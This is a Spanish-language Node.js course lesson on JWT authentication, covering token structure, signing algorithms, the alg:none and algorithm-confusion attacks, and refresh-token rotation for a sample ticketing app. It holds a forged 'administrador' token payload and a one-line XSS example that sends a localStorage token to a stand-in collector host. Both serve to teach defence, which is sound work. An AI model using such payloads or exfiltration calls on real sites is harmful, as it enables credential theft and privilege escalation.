Las sesiones de la lección anterior funcionan y son una gran opción. Pero también dejaron dos facturas sobre la mesa: exigen estado compartido (Redis en cuanto haya más de un proceso) y encajan mal fuera del navegador, justo donde Escena Viva quiere llegar con una app de validación de entradas en la puerta del Auditorio Ribera.

Los JSON Web Tokens invierten el planteamiento: en vez de guardar el estado en el servidor y darle al cliente un puntero opaco, se le entrega información firmada y el servidor se limita a verificar la firma. Suena ideal, y por eso se usan tan mal. Vamos a ver qué hay realmente dentro de un JWT, por qué firmar no es cifrar, qué ataques concretos hay que bloquear, y cómo se resuelve el problema que nadie puede ignorar: un JWT no se puede revocar.

1. Anatomía de un JSON Web Token
2. Decodificarlo a mano en el REPL
3. HS256 frente a RS256
4. Reclamaciones estándar y propias
5. jsonwebtoken: firmar y verificar
6. Los ataques alg: none y de confusión de algoritmos
7. El secreto en la configuración
8. El problema real: no se pueden revocar
9. El patrón de Escena Viva: acceso corto + refresco rotatorio
10. Implementación: src/servicios/tokens.js
11. Rutas de login, refresco y logout
12. El middleware autenticar
13. Dónde NO guardar el token en el navegador
14. Errores clásicos, ejercicios y conclusión

Un JWT son tres partes separadas por puntos: eyJhbGciOiJIUzI1NiJ9 (cabecera) . eyJzdWIiOiI2NGYwMDEiLCJyb2wiOiJhc2lzdGVudGUifQ (carga útil) . 3xR9_kQ2f8m1TnV0pLcYhZaBqWjE7sN4dGuI6oKmXyc (firma).

La cabecera dice qué algoritmo firma el token; la carga útil contiene las reclamaciones (claims), los datos que afirmamos; la firma prueba que las dos partes anteriores no se han modificado. Las dos primeras están codificadas en base64url, la variante que vimos en el módulo 3 con los Buffers: usa - y _ en lugar de + y /, y elimina el relleno = para que el token viaje limpio en URLs y cabeceras. Y aquí está el punto que hay que grabar a fuego:

base64url no es cifrado, es codificación. Cualquiera que tenga el token puede leer su contenido. Firmar no es cifrar.

Firmar garantiza integridad y autenticidad (nadie lo ha modificado, lo emitió quien dice), no confidencialidad.

Demostrémoslo sin bibliotecas, con lo que sabemos del módulo 3:

Sin secreto, sin biblioteca, sin permiso: acabamos de leer el contenido completo. Consecuencias prácticas: nunca metas en un JWT la contraseña, el hash, un número de tarjeta ni una nota interna; asume que el usuario verá su rol, su sub y su exp (no pasa nada, son suyos); y si de verdad necesitas confidencialidad existe JWE, aunque casi siempre es más simple no meter secretos dentro. Lo que no puede hacer nadie sin el secreto es cambiar "rol":"asistente" por "rol":"administrador" y producir una firma válida: verify lo rechaza.

Regla de decisión: si el mismo sistema emite y verifica, HS256 es perfecto y más simple. Si necesitas que servicios de terceros verifiquen sin poder emitir —microservicios, un proveedor de identidad externo—, necesitas RS256 (o ES256, con curvas elípticas, más compacto): repartes la clave pública sin miedo porque no permite falsificar. Escena Viva es hoy un único servicio Node, así que HS256, aislado en un módulo para que migrar el día que haya microservicios sea cambiar un fichero.

Las nuestras: rol (asistente, organizador, administrador) y, para los organizadores, sala. Dos reglas sobre el contenido: nada sensible, porque es legible por cualquiera; y nada voluminoso, porque el token viaja en una cabecera en cada petición y puede chocar con los límites habituales de 8 KB de proxies y servidores. Y una advertencia que retomaremos en 08-05: rol dentro del token es una fotografía del momento de la emisión; si un administrador degrada a un organizador, su token seguirá diciendo organizador hasta que caduque. Por eso el token de acceso es corto.

verify comprueba, en este orden: que la firma es válida, que exp no ha pasado, que nbf ya llegó, y que iss y aud coinciden. Si algo falla lanza una excepción; nunca devuelve un token inválido. Los errores que hay que distinguir: TokenExpiredError (firma válida, exp pasado → el cliente debe refrescar), JsonWebTokenError (firma incorrecta, formato roto, iss/aud distintos) y NotBeforeError (nbf en el futuro).

Esta sección explica por qué la lista algorithms no es opcional.

Ataque alg: none. La especificación contempla un algoritmo none, pensado para tokens ya protegidos por otro medio. El ataque es descarado: el atacante envía la cabecera {"alg":"none","typ":"JWT"}, la carga {"sub":"64f001","rol":"administrador","exp":9999999999} y la firma vacía. Si la biblioteca hace caso a la cabecera para decidir cómo verificar, concluye que no hay nada que verificar y acepta el token: el atacante se ha nombrado administrador escribiendo JSON. Confusión de algoritmos (RS256 → HS256). Más sutil y más elegante. Supón que el servidor usa RS256 y publica su clave pública, como debe. El atacante cambia la cabecera a "alg":"HS256", firma el token con HMAC usando la clave pública como secreto, y el servidor lee alg: HS256, coge «su clave» —la pública, la única que tiene— y la usa como secreto HMAC. La firma cuadra.

El fallo de fondo es el mismo en ambos casos: dejar que el atacante elija el algoritmo de verificación. La defensa es una línea:

Las versiones modernas de jsonwebtoken ya mitigan buena parte de esto, pero fijar algorithms explícitamente sigue siendo obligatorio: es la defensa que no depende de la versión que acabe instalada. Regla general: la política de verificación la decide el que verifica, nunca el mensaje que llega.

Generar un secreto en condiciones: node -e "console.log(require('node:crypto').randomBytes(48).toString('base64url'))". 48 bytes aleatorios (384 bits) es holgado para HS256; una frase memorizable no vale, porque el ataque contra un secreto HMAC débil es un ataque de diccionario offline sobre cualquier token capturado. Un secreto por propósito, nunca compartido, y nunca en el repositorio (el .env está en .gitignore desde el módulo 5). Para rotar se mantiene una lista [nuevo, anterior]: se firma con el primero y se verifica contra todos hasta que caducan los antiguos. La gestión de secretos en producción se cierra en el módulo 11.

Un JWT es válido hasta que caduca, y el servidor no tiene forma de opinar. Es consecuencia directa de su virtud: si no hay estado, no hay nada que borrar.

Las respuestas habituales y su veredicto honesto: una lista negra de tokens revocados funciona, pero reintroduce el estado que justificaba usar JWT; tokens muy cortos reducen la ventana sin eliminarla, y obligan a reautenticarse a menudo; comprobar en cada petición si el usuario sigue activo es una consulta por petición… que es exactamente lo que hace una sesión. La respuesta madura de la industria combina las dos primeras, y es la que adoptamos.

La idea: el token que se usa constantemente no es revocable pero apenas dura; el token que dura es revocable y casi no se usa. El daño de un token de acceso robado se limita a 15 minutos; el de refresco se puede matar en la base. Añadimos dos refinamientos imprescindibles: rotación (cada uso del refresco lo invalida y emite uno nuevo, así un refresco capturado solo sirve una vez) y detección de reutilización (los refrescos de un mismo inicio de sesión forman una familia; si llega uno ya consumido, o el atacante usó el robado y el legítimo llega después, o al revés, y en ambos casos se revoca la familia entera).

El modelo TokenRefresco guarda usuarioId, el hash SHA-256 del token (nunca el token: si se filtra la base, los refrescos almacenados son inservibles), un familiaId común a toda la cadena de un inicio de sesión, las banderas usado y revocado, el agenteUsuario para la pantalla de «mis dispositivos», y expiraEn con índice TTL.

Nota de diseño importante: el token de refresco no es un JWT. Como se consulta en la base en cada uso, ser autocontenido no aporta nada; un valor aleatorio opaco es más corto, más simple y no arrastra ninguno de los ataques de la sección 6.

Sé honesto sobre lo que este logout consigue y lo que no: revoca el refresco al instante, pero el token de acceso que el cliente ya tiene sigue siendo válido hasta 15 minutos. Para operaciones críticas (anular entradas, cambiar roles) hay que comprobar el estado del usuario en la base, no solo la firma.

Los casos de 401, distinguidos por motivo para que el cliente sepa qué hacer:

Fíjate en que req.usuario tiene la misma forma que dejaba exigirSesion en 08-03. Por eso los controladores y la autorización de 08-05 funcionan igual con sesión o con JWT.

localStorage es visible para todo el JavaScript de la página, incluido el que inyecte un XSS y el de cualquier dependencia de terceros. Un script malicioso hace fetch('https://recolector.test/r?t=' + localStorage.getItem('token')) y se acabó. Con la cookie HttpOnly no puede: document.cookie no la ve. El atacante con XSS todavía puede hacer peticiones desde la página de la víctima —el XSS es grave siempre—, pero no puede exfiltrar la credencial para usarla después desde otro sitio y durante 30 días. Esa diferencia entre «daño mientras la pestaña está abierta» y «cuenta comprometida indefinidamente» es exactamente lo que compramos. Y por eso el token de acceso va en memoria: si se pierde al recargar, una llamada a /auth/refrescar (con la cookie automática) devuelve uno nuevo. Es el patrón «refresco silencioso al arrancar».

• jwt.decode() en vez de jwt.verify(). decode no comprueba la firma: solo lee. Usarlo para autenticar equivale a no tener autenticación. Igual de grave: omitir algorithms en verify, o meter datos sensibles en la carga útil creyendo que va cifrada.
• Tokens de acceso larguísimos («7 días, así no molesto al usuario»): un token robado sirve una semana.
• Guardar el refresco en localStorage y perder toda la ventaja de HttpOnly; o no rotarlo, con lo que un refresco robado da acceso permanente.
• Confiar en el rol del token para una acción crítica sin releer la base (08-05), o usar el mismo secreto para acceso y refresco, con lo que un refresco podría colar como token de acceso.
• No manejar el 401 en el cliente: sin lógica de refresco y reintento, el usuario ve fallos aleatorios cada 15 minutos.
• Poner el token en la URL (?token=...): queda en logs de proxies, en el historial y en la cabecera Referer.

En el REPL de Node: (a) decodifica la carga útil del token de la sección 2; (b) construye un token manipulado cambiando "rol":"asistente" por "rol":"administrador", reutilizando la firma original; (c) verifícalo con jwt.verify y explica qué ocurre y por qué.

Escribe peticionAutenticada(url, opciones) para el front-end: usa el token de acceso guardado en memoria; si recibe un 401 con motivo: 'TOKEN_CADUCADO', llama a /auth/refrescar, guarda el token nuevo y reintenta una sola vez; ante cualquier otro 401, envía al usuario al login.

Escena Viva quiere que un asistente solo pueda tener una sesión activa: al iniciar sesión en un dispositivo nuevo, la anterior debe caer. Describe los cambios en emitirRefresco y explica qué límite tiene esta medida con el token de acceso.

Ejercicio 1

La firma se calcula sobre cabecera.cargaUtil; al cambiar un solo byte de la carga, el HMAC recalculado ya no coincide con la firma adjunta. Leer el token es trivial; modificarlo es imposible sin el secreto. Eso es exactamente lo que significa «firmar no es cifrar»: no hay confidencialidad, sí hay integridad.

Ejercicio 2

En producción conviene además encolar las peticiones concurrentes mientras se refresca, para no lanzar cinco refrescos a la vez y disparar la detección de reutilización contra uno mismo.

Ejercicio 3. En emitirRefresco, antes de crear el registro nuevo, se revocan todos los del usuario: if (opciones.dispositivoUnico) { await TokenRefresco.updateMany({ usuarioId, revocado: false }, { $set: { revocado: true } }); }.

El límite: el token de acceso del dispositivo anterior sigue siendo válido hasta 15 minutos, porque no se puede revocar; el otro dispositivo conserva acceso durante ese margen y solo cae al intentar refrescar. Si el requisito es un corte instantáneo, hay que añadir una comprobación en la base por petición —y en ese momento estás pagando el coste de una sesión, que es justo la decisión de diseño analizada en 08-03.

Ya sabemos qué es de verdad un JWT: tres partes en base64url —cabecera, carga útil y firma— con el contenido legible por cualquiera, porque firmar garantiza integridad y autenticidad, no confidencialidad. Sabemos cuándo HS256 y cuándo RS256, qué reclamaciones estándar existen y por qué el token debe ir ligero y sin secretos. Hemos blindado verify con algorithms explícitos, entendiendo los ataques alg: none y de confusión de algoritmos que esa línea neutraliza. Y hemos afrontado el problema de fondo —los JWT no se revocan— con la solución madura: token de acceso de 15 minutos en memoria del cliente, token de refresco de 30 días en cookie HttpOnly+Secure+SameSite=Strict, guardado hasheado, rotado en cada uso y con detección de reutilización que tumba la familia entera.

Escena Viva ya sabe quién hace cada petición: req.usuario está verificado, con su id y su rol, tanto por sesión como por token. Falta la otra mitad de la lección 08-01: qué puede hacer cada uno. Un asistente no debe leer los pedidos de otro; el organizador de la Sala Bóveda no debe publicar eventos del Teatro Almendra; solo un administrador cambia roles. En la lección siguiente, Control de Acceso Basado en Roles, construimos la matriz de permisos completa, el middleware exigirRol con su 403 bien diferenciado del 401, y la pieza que RBAC no cubre y que provoca la vulnerabilidad más común de las APIs: la propiedad del recurso.